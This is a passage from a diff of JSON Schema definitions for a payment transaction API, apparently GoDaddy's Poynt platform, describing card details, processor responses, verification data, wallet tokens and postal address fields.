"string" + } + }, + "type": "object" + }, + "LegacyCardType": { + "enum": [ + "AMERICAN_EXPRESS", + "EBT", + "BANCOMAT", + "DISCOVER", + "MAESTRO", + "GOPAY", + "DINERS_CLUB", + "JCB", + "ALIPAY", + "MASTERCARD", + "DANKORT", + "OTHER", + "PAYPAL", + "INTERAC", + "UNIONPAY", + "VISA", + "BANKAXEPT" + ], + "type": "string" + } + }, + "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Object to carry credit/debit card information.", + "properties": { + "cardAgreement": { + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", + "properties": { + "agreedOn": { + "description": "Timestamp for when this agreement was agreed.", + "format": "date-time", + "type": "string" + }, + "businessId": { + "description": "Business UUID that this card agreement belongs to.", + "type": "string" + }, + "cardId": { + "description": "Card UUID that this card agreement belongs to.", + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "declinedOn": { + "description": "Timestamp for when this agreement was declined.", + "format": "date-time", + "type": "string" + }, + "email": { + "description": "The customer email that we will send the agreement to.", + "type": "string" + }, + "id": { + "description": "UUID of the card agreement.", + "type": "string" + }, + "metadata": { + "$ref": "#/$defs/LegacyCardAgreementMetadata", + "description": "Card agreement metadata. Will hold the agreement template properties." + }, + "status": { + "description": "[Required] The type of card agreement status.", + "enum": [ + "ACCEPTED", + "DELETED", + "INACTIVE" + ], + "type": "string" + }, + "txnId": { + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" + }, + "updatedAt": { + "format": "date-time", + "type": "string" + }, + "version": { + "description": "The version of agreement.", + "type": "integer" + } + }, + "type": "object" + }, + "cardBrand": { + "description": "This object represents CardBrand.", + "properties": { + "brand": { + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "displayName": { + "maxLength": 50, + "minLength": 3, + "type": "string" + }, + "id": { + "type": "string" + }, + "issuerBank": { + "maxLength": 150, + "type": "string" + }, + "logoUrl": { + "type": "string" + }, + "scheme": { + "type": "string" + } + }, + "type": "object" + }, + "cardHolderFullName": { + "description": "Card holder's full name usually picked from track1.", + "maxLength": 256, + "type": "string" + }, + "cardId": { + "description": "The uuid of the card created", + "type": "string" + }, + "encrypted": { + "description": "True if track, PAN, expiration are encrypted.", + "type": "boolean" + }, + "encryptedExpirationDate": { + "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here.", + "type": "string" + }, + "expirationDate": { + "description": "The date from expiration. Date is typically only present in EMV cards.", + "type": "integer" + }, + "id": { + "description": "The id of the card created.", + "type": "integer" + }, + "issuer": { + "type": "string" + }, + "key": { + "description": "List of keys and their versions being used. If encrypted is true, only one of key and keySerialNumber can be populated (not both).", + "items": { + "properties": { + "id": { + "$ref": "#/$defs/LegacyCardKey", + "description": "The key identifier." }, - "status": { - "description": "Possible values are Successful or Failure.", - "enum": [ - "Successful", - "Failure" - ], + "version": { + "description": "Version of the key.", + "maxLength": 4, "type": "string" - }, - "statusCode": { - "type": "string", - "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", - "maxLength": 64 - }, - "statusMessage": { - "type": "string", - "description": "Will be whatever message came back from the acquirer.", - "maxLength": 512 - }, - "transactionId": { - "type": "string", - "description": "The transactionID that came back from the acquirer.", - "maxLength": 64 } - } - } + }, + "type": "object" + }, + "type": "array" + }, + "numberFirst6": { + "description": "This is a response field. The first6 numbers of the PAN.", + "type": "string" + }, + "numberHashed": { + "type": "string" + }, + "numberLast4": { + "description": "This is a response field. The last4 numbers of the PAN.", + "type": "string" + }, + "status": { + "description": "Status of the card.", + "enum": [ + "ACTIVE", + "REMOVED" + ], + "type": "string" + }, + "type": { + "enum": [ + "AMERICAN_EXPRESS", + "EBT", + "BANCOMAT", + "DISCOVER", + "MAESTRO", + "GOPAY", + "DINERS_CLUB", + "JCB", + "ALIPAY", + "MASTERCARD", + "DANKORT", + "OTHER", + "PAYPAL", + "INTERAC", + "UNIONPAY", + "VISA", + "BANKAXEPT" + ], + "type": "string" } }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/debitcard.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Debit Card Processor Response", - "description": "Processor response for debit card", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/creditcard.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "description": "Processor response for credit card", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/processor-response/cv-verification-result.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "type": "object" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "numberHashed": { + "description": "Card number hashed", + "readOnly": true, + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "PAZE", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1data": { + "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name).", + "type": "string", + "writeOnly": true + }, + "track2data": { + "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc.", + "type": "string", + "writeOnly": true + }, + "track3data": { + "description": "Track3 for future use. Carries track from custom funding sources.", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER", + "INTERAC", + "BANCOMAT", + "MAESTRO", + "DINERS_CLUB", + "JCB", + "UNIONPAY", + "BANKAXEPT", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "token": { + "description": "Apple pay token", + "type": "string", + "writeOnly": true, + "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore", + "x-propagation": { + "optional": true + }, + "x-sensitivity": { + "classification": "restricted" + } + } + }, + "title": "ApplePay Payment Token", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/google-pay-token.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-token.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Token Funding source", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/verification.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-verification.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for the card used as funding source", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schema/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "description": "CVV verification result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/cv-result-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "CVV Verification result status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ] - }, - "approvalCode": { - "type": "string", - "description": "The approval code that came back from the acquirer (usually its 6 alpha-numeric characters).", - "maxLength": 32 - }, - "approvedAmount": { - "type": "integer", - "format": "int64", - "description": "The amount that the authorization was approved for. This could be different from the transactionAmount requested." - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure." - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, - "legacyProcessorData": { - "deprecated": true, - "description": "Process response data used by legacy system", - "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "x-legacy": true, - "$defs": { - "LegacyAVSResult": { - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card Verification Data", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/token-verification.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for the token used as funding source", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schema/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" } }, - "LegacyAVSResultType": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "LegacyCVResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "LegacyECheckProcessor": { - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessorStatus": { - "type": "string", - "enum": [ - "Successful", - "Failure" - ] - }, - "LegacyProviderVerification": { - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + } + }, + "title": "Token Verification Data", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type representing the type of verification data", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "Verification Data", + "type": "object" + } + }, + "title": "Payment Token Funding Source", + "type": "object" + } + ], + "description": "GooglePay Funding source", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-detail.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Details of the card used for processing transaction", + "properties": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-entry-detail.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Details on how the card is used during transaction", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/interacmac.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Interac Mac details of the Payment card", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "legacyData": { + "$defs": { + "LegacyCardAgreement": { + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", + "properties": { + "agreedOn": { + "description": "Timestamp for when this agreement was agreed.", + "format": "date-time", + "type": "string" + }, + "businessId": { + "description": "Business UUID that this card agreement belongs to.", + "type": "string" + }, + "cardId": { + "description": "Card UUID that this card agreement belongs to.", + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "declinedOn": { + "description": "Timestamp for when this agreement was declined.", + "format": "date-time", + "type": "string" + }, + "email": { + "description": "The customer email that we will send the agreement to.", + "type": "string" + }, + "id": { + "description": "UUID of the card agreement.", + "type": "string" + }, + "metadata": { + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", + "properties": { + "businessContact": { + "description": "Business contact or website.", + "maxLength": 1024, + "type": "string" + }, + "businessName": { + "description": "Business name.", + "maxLength": 128, + "type": "string" + }, + "businessPhone": { + "description": "Business phone.", + "maxLength": 16, + "type": "string" + }, + "countryCode": { + "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + }, + "lang": { + "description": "Language of agreement template in ISO 639-1 format, that 